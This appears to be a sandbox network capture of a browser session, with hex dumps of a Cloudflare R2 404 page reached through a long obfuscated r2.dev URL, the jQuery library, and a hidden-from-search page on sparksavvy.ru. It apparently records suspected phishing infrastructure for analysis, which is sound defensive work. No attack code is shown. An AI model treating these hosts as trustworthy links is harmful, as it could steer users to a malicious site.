2024-10-10 16:00:28 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=175515 Date: Thu, 10 Oct 2024 16:00:28 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-10 16:00:28 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49732	162.159.140.237	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:30 UTC	843	OUT	GET /, HTTP/1.1 Host: pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:31 UTC	180	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Oct 2024 16:00:31 GMT Content-Type: text/html Content-Length: 27150 Connection: close Server: cloudflare CF-RAY: 8d07d2e1dd2e0c8e-EWR
2024-10-10 16:00:31 UTC	1189	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-10-10 16:00:31 UTC	1369	IN	Data Raw: 32 20 7b 0a 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 25 2c 0a 20 20 20 20 20 20 20 20 35 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 Data Ascii: 2 { 0% { transform: translateX(0); } 10%, 50% { transform: translateX(5px); } 60% { transform: translateX(0); } 100% { transform: translateX(0px);
2024-10-10 16:00:31 UTC	1369	IN	Data Raw: 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 50 75 62 6c 69 63 20 41 63 63 65 73 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 Data Ascii: p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/" >Public Access</a > </p> </div> </section> <sect
2024-10-10 16:00:31 UTC	1369	IN	Data Raw: 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 43 31 32 31 2e 30 35 33 20 31 33 2e 32 37 37 20 31 31 38 2e 32 30 34 20 31 30 2e 34 32 38 38 20 31 31 38 2e 32 30 34 20 36 2e 39 31 35 33 34 43 31 31 38 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 31 39 31 20 31 33 30 2e 39 32 38 20 36 2e 39 31 35 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 Data Ascii: <path d="M124.566 13.277C121.053 13.277 118.204 10.4288 118.204 6.91534C118.204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40191 130.928 6.91534C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC
2024-10-10 16:00:31 UTC	1369	IN	Data Raw: 33 30 34 20 39 39 2e 36 31 34 39 43 37 33 2e 31 38 38 38 20 31 30 30 2e 38 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 48 37 35 2e 35 34 35 39 43 37 35 2e 35 34 35 39 20 31 30 38 2e 31 39 35 20 37 38 2e 33 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 Data Ascii: 304 99.6149C73.1888 100.895 71.2559 108.195 71.2559 108.195H75.5459C75.5459 108.195 78.3353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406Z" fill="#0055DC" /> <path d="M136.176 111.953C1
2024-10-10 16:00:31 UTC	1369	IN	Data Raw: 2e 39 34 31 20 31 32 31 2e 31 37 20 31 30 38 2e 34 30 37 43 31 32 30 2e 37 30 34 20 31 30 38 2e 38 37 32 20 31 32 30 2e 33 33 35 20 31 30 39 2e 34 32 35 20 31 32 30 2e 30 38 33 20 31 31 30 2e 30 33 34 43 31 31 39 2e 38 33 31 20 31 31 30 2e 36 34 32 20 31 31 39 2e 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 Data Ascii: .941 121.17 108.407C120.704 108.872 120.335 109.425 120.083 110.034C119.831 110.642 119.701 111.295 119.701 111.953V111.953Z" fill="#0055DC" /> <path d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 1
2024-10-10 16:00:31 UTC	1369	IN	Data Raw: 36 38 34 20 31 33 34 2e 39 39 35 20 33 31 2e 35 37 39 35 20 31 33 39 2e 37 39 32 20 33 31 2e 35 37 39 35 43 31 34 34 2e 35 38 39 20 33 31 2e 35 37 39 35 20 31 34 38 2e 34 37 38 20 33 35 2e 34 36 38 34 20 31 34 38 2e 34 37 38 20 34 30 2e 32 36 35 36 43 31 34 38 2e 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 Data Ascii: 684 134.995 31.5795 139.792 31.5795C144.589 31.5795 148.478 35.4684 148.478 40.2656C148.478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white" stroke="#0055DC" stroke-width="2" stroke-miterlimit="10"
2024-10-10 16:00:31 UTC	1369	IN	Data Raw: 32 2e 34 39 32 31 20 31 31 35 2e 36 38 20 34 31 2e 34 32 31 36 20 31 31 35 2e 36 38 20 34 30 2e 33 30 35 35 43 31 31 35 2e 36 37 38 20 33 39 2e 31 39 30 37 20 31 31 35 2e 32 33 34 20 33 38 2e 31 32 32 34 20 31 31 34 2e 34 34 35 20 33 37 2e 33 33 34 39 43 31 31 33 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 36 20 31 30 38 2e 35 30 34 20 33 37 2e 33 33 37 38 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d Data Ascii: 2.4921 115.68 41.4216 115.68 40.3055C115.678 39.1907 115.234 38.1224 114.445 37.3349C113.656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.5506 108.504 37.3378C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill=
2024-10-10 16:00:31 UTC	1369	IN	Data Raw: 34 34 20 31 33 33 2e 30 32 20 31 34 36 2e 36 31 31 20 31 33 37 2e 34 31 32 20 31 34 36 2e 36 31 31 20 31 34 32 2e 38 33 31 43 31 34 36 2e 36 31 31 20 31 34 38 2e 32 34 39 20 31 34 32 2e 33 34 34 20 31 35 32 2e 36 34 31 20 31 33 37 2e 30 38 31 20 31 35 32 2e 36 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 Data Ascii: 44 133.02 146.611 137.412 146.611 142.831C146.611 148.249 142.344 152.641 137.081 152.641Z" fill="#C5EBF5" /> </g> <g style="mix-blend-mode: multiply"> <path d="M103.074 142.831C103.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49733	151.101.66.137	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:30 UTC	649	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:31 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 10 Oct 2024 16:00:30 GMT Age: 2527001 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740051-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 1 X-Timer: S1728576031.993613,VS0,VE1 Vary: Accept-Encoding
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-10-10 16:00:31 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-10-10 16:00:31 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49735	104.21.48.11	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:31 UTC	338	OUT	GET // HTTP/1.1 Host: sparksavvy.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:32 UTC	692	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:00:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j7oFwxWc%2FDxhl6s1Vh53RXKQY2l6C0PKvYCHOqQnH47iPj4OCkoxXXsBE6fMFpD4y0P35xgWzkGH6epQwzBwp971%2FnkIpuGqM%2FgnzG7xLZ1vv1Het8Fa7pDYp8yiIBvH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d07d2e69c828c15-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:00:32 UTC	677	IN	Data Raw: 31 61 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 75 74 6f 6d 6f 62 69 6c 65 20 48 69 73 74 Data Ascii: 1a25<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noarchive, nosnippet, noindex, nofollow"> <title>Automobile Hist
